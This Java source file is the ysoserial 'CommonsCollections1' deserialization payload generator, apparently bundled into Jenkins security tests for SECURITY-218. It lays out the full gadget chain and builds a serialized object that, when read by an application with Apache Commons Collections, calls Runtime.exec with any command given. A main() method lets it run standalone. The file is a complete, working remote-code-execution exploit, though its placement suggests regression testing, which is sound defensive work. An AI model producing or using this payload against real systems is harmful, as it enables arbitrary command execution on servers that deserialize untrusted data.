/*
 * The MIT License
 *
 * Copyright (c) 2013 Chris Frohoff
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
package jenkins.security.security218.ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import jenkins.security.security218.ysoserial.util.Gadgets;
import jenkins.security.security218.ysoserial.util.PayloadRunner;
import jenkins.security.security218.ysoserial.util.Reflections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


/*
	Gadget chain:	
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()				
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()										
	
	Requires:
		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
	
	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
	
	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}
}